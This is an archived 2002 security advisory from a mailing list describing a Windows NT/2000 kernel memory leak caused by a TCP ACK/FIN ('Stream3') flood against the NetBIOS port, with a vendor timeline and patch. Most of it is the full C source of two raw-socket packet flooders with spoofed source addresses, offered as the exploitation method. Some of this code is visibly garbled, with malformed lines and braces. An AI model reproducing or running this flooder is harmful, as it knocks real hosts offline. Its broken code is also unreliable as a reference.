

# [NT] Windows NT/2000 DoS via Stream3 Flood Attack

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0129.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/29/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Tue, 29 Jan 2002 21:46:32 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Windows NT/2000 DoS via Stream3 Flood Attack

---

## SUMMARY

Stream 3 is flood attack of identical empty TCP packets with ACK and FIN flags. Dark Zoro and Error discovered unpatched Windows leaks the memory from non-paged kernel space during stream 3 attack against NetBIOS (TCP/139) port. This memory never released back after attack. Since this attack does not require TCP connection, it may bypass purely configured packet filters. Effectively of attack depends on amount of RAM installed in target host, routing schema and link bandwidth between source and target (xDSL/10BaseT is ideal). Results may vary from missing 2-3 Mb of non-paged memory to blue screen.

## DETAILS

Vendor:

Microsoft was contacted on December 2 2000. On December 15 private fix <<http://www.microsoft.com/technet/support/kb.asp?ID=280446>> Q280446 for Windows 2000 was released. It was made public few months later and was included into Service Pack 2.

Microsoft failed to reproduce and fix problem under Windows NT 4.0

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

### Solution/Fix:

For Windows 2000 apply SP2. Make sure you filter all traffic to privileged ports

### Exploitation:

Try stream3.c it should be faster and compatible. stream3o.c is variant of old stream.c. It compiles and works under i386 FreeBSD.

```
/*
stream3.c – TCP FIN packet flooder
patched from stream.c by 3APA3A, 2000
3APA3A@security.nnov.ru
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifdef __USE_BSD
#define __USE_BSD
#endif
#ifdef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_system.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

struct ip_hdr {
    u_int ip_hl:4, /* header length in 32 bit words */
        ip_v:4; /* ip version */
    u_char ip_tos; /* type of service */
    u_short ip_len; /* total packet length */
    u_short ip_id; /* identification */
    u_short ip_off; /* fragment offset */
    u_char ip_ttl; /* time to live */
    u_char ip_p; /* protocol */
    u_short ip_sum; /* ip checksum */
    u_long saddr, daddr; /* source and dest address */
};
```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
struct tcp_hdr {
    u_short th_sport; /* source port */
    u_short th_dport; /* destination port */
    u_long th_seq; /* sequence number */
    u_long th_ack; /* acknowledgement number */
    u_int th_x2:4, /* unused */
        th_off:4; /* data offset */
    u_char th_flags; /* flags field */
    u_short th_win; /* window size */
    u_short th_sum; /* tcp checksum */
    u_short th_urp; /* urgent pointer */
};

struct tcphdr {
    u_char type; /* type */
    u_char len; /* length */
    u_short value; /* value */
};

struct pseudo_hdr { /* See RFC 793 Pseudo Header */
    u_long saddr, daddr; /* source and dest address */
    u_char mbz, ptcl; /* zero and protocol */
    u_short tcpl; /* tcp length */
};

struct packet {
    struct ip /*_hdr*/ ip;
    struct tcphdr tcp;
    /* struct tcphdr opt; */
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n",
progname);
    fprintf(stderr, " dstaddr – the target we are trying to attack.\n");
    fprintf(stderr, " dstport – the port of the target, 0 = random.\n");
    fprintf(stderr, " pktsize – the extra size to use. 0 = normal
syn.\n");
}
```

```

    exit(1);
}

/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
    * sequential 16 bit words to it, and at the end, fold back all the
    * carry bits from the top 16 bits into the lower 16 bits. */

    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)&answer = *(u_char *) w;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16); /* add carry */
    answer = ~sum; /* truncate to 16 bits */
    return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
        fprintf(stderr, "Could not resolve %s.\n", hostname);
        exit(1);
    }

    return *(u_long *)hp->h_addr;
}

void flooder(void)
{
    struct timespec ts;
    int i;

    memset(&packet, 0, sizeof(packet));

```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
ts.tv_sec = 0;
ts.tv_nsec = 10;

packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = dstaddr;
packet.ip.ip_src.s_addr = random();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;

packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_ack = rand();
packet.tcp.th_flags = TH_ACK|TH_FIN;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = dstport?htons(dstport):rand();

/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/

s_in.sin_family = AF_INET;
s_in.sin_port = packet.tcp.th_dport;
s_in.sin_addr.s_addr = dstaddr;

cksum.pseudo.daddr = dstaddr;
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.tcp = packet.tcp;

packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));

for(i=0; ; ++i) {

    if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
*)&s_in, sizeof(s_in)) < 0)
        perror("jess");
```

```
    }  
}  
  
int main(int argc, char *argv[])  
{  
    int on = 1;  
  
    printf("stream3.c v0.01 – TCP FIN Packet Flooder\n modified by  
3APA3A@security.nnov.ru\n");  
  
    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {  
        perror("socket");  
        exit(1);  
    }  
  
    setgid(getgid()); setuid(getuid());  
  
    if (argc < 4)  
        usage(argv[0]);  
  
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))  
< 0) {  
        perror("setsockopt");  
        exit(1);  
    }  
  
    srand((time(NULL) ^ getpid()) + getppid());  
  
    printf("\nResolving IPs..."); fflush(stdout);  
  
    dstaddr = lookup(argv[1]);  
    dstport = atoi(argv[2]);  
    pktsize = atoi(argv[3]);  
  
    printf("Sending..."); fflush(stdout);  
  
    flooder();  
  
    return 0;  
}  
  
/*  
stream3.c – FIN/ACK flooder  
Tested to compile and work under FreeBSD  
(c) by 3APA3A @ SECURITY.NNOV, 2000  
3APA3A@security.nnov.ru  
http://www.security.nnov.ru  
Thanx to DarkZorro & Error for discovering this problem  
Greetz to void.ru. Get better, Duke!  
*/
```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20

struct ip_hdr {
    u_int ip_hl:4, /* header length in 32 bit words */
        ip_v:4; /* ip version */
    u_char ip_tos; /* type of service */
    u_short ip_len; /* total packet length */
    u_short ip_id; /* identification */
    u_short ip_off; /* fragment offset */
    u_char ip_ttl; /* time to live */
    u_char ip_p; /* protocol */
    u_short ip_sum; /* ip checksum */
    u_long ip_src, ip_dst; /* source and dest address */
};

struct tcp_hdr {
    u_short th_sport; /* source port */
    u_short th_dport; /* destination port */
    u_long th_seq; /* sequence number */
    u_long th_ack; /* acknowledgement number */
    u_int th_x2:4, /* unused */
        th_off:4; /* data offset */
    u_char th_flags; /* flags field */
    u_short th_win; /* window size */
    u_short th_sum; /* tcp checksum */
    u_short th_urp; /* urgent pointer */
};
```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
    u_long saddr, daddr; /* source and dest address */
    u_char mbz, ptcl; /* zero and protocol */
    u_short tcpl; /* tcp length */
};

struct packet {
    struct ip_hdr ip;
    struct tcp_hdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcp_hdr tcp;
};

u_short dstport=139, srcport=0;
u_long dstaddr, srcaddr=0;
int sock;

void usage(char *programe)
{
    fprintf(stderr,
        "Usage: %s <dstaddr> <dstport> <srcaddr> <srcport>\n"
        "  dstaddr – the target we are trying to attack.\n"
        "  dstport – TCP port (139 default).\n"
        "  srcaddr – spoofed source address (random default)\n"
        "  srcport – spoofed source TCP port (random default)\n",
        programe);
    exit(1);
}

/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits. */

    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
    *(u_char *)&answer) = *(u_char *) w;
    sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
        fprintf(stderr, "Could not resolve %s.\n", hostname);
        exit(-3);
    }

    return *(u_long *)hp->h_addr;
}

void flooder(void)
{
    int i;
    struct packet packet;
    /* use same structure as pseudo packet */
    struct cksum *cksum = (struct cksum *)((char *)&packet +
sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr));
    struct sockaddr_in s_in;

    memset(&packet, 0, sizeof(packet));

    if(!srcaddr)srcaddr = random();
    if(!srcport)srcport = rand();

    packet.tcp.th_win = htons(16384);
    packet.tcp.th_seq = random();
    packet.tcp.th_ack = 0;
    packet.tcp.th_off = 5;
    packet.tcp.th_urp = 0;
    packet.tcp.th_ack = rand();
    packet.tcp.th_flags = TH_ACK|TH_FIN;
    packet.tcp.th_sport = htons(srcport);
    packet.tcp.th_dport = htons(dstport);
    cksum->pseudo.daddr = dstaddr;
    cksum->pseudo.saddr = srcaddr;
    cksum->pseudo.mbz = 0;
    cksum->pseudo.ptcl = IPPROTO_TCP;
    cksum->pseudo.tcpl = htons(sizeof(struct tcp_hdr));
}
```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
packet.tcp.th_sum = in_cksum((void *)cksum, sizeof(struct
cksum));

packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0;
packet.ip.ip_ttl = 255;
packet.ip.ip_dst = dstaddr;
packet.ip.ip_src = srcaddr;
packet.ip.ip_sum = 0;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);

s_in.sin_family = AF_INET;
s_in.sin_port = htons(dstport);
s_in.sin_addr.s_addr = dstaddr;
for(i=0; ++i) { /* we do not want to change packet at all */
    if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
*)&s_in, sizeof(s_in)) < 0)
        perror("sendto()");
    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("stream3.c v0.1 - FIN/ACK Storm\n3APA3A@security.nnov.ru\n");

    if (argc < 1) exit(-3);
    if (argc < 3 || argc > 5)
        usage(argv[0]);

    srand(time(NULL)); /* we needn't too much randomness */

    dstaddr = lookup(argv[1]);
    dstport = atoi(argv[2]);

    if (!dstaddr || !dstport) usage(argv[0]);

    if(argc > 3) srcaddr = lookup(argv[3]);
    if(argc > 4) srcport = atoi(argv[4]);

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket()");
        exit(-1);
    }
}
```

## Securiteam: [NT] Windows NT/2000 DoS via Stream3 Flood Attack

```
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))
< 0) {
    perror("setsockopt()");
    exit(-2);
}

printf("Starting");
fflush(stdout);

flooder();

return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[3APA3A@SECURITY.NNOV.RU](mailto:3APA3A@SECURITY.NNOV.RU)>  
3APA3A.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[TOOL] SSH Brute Forcer"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)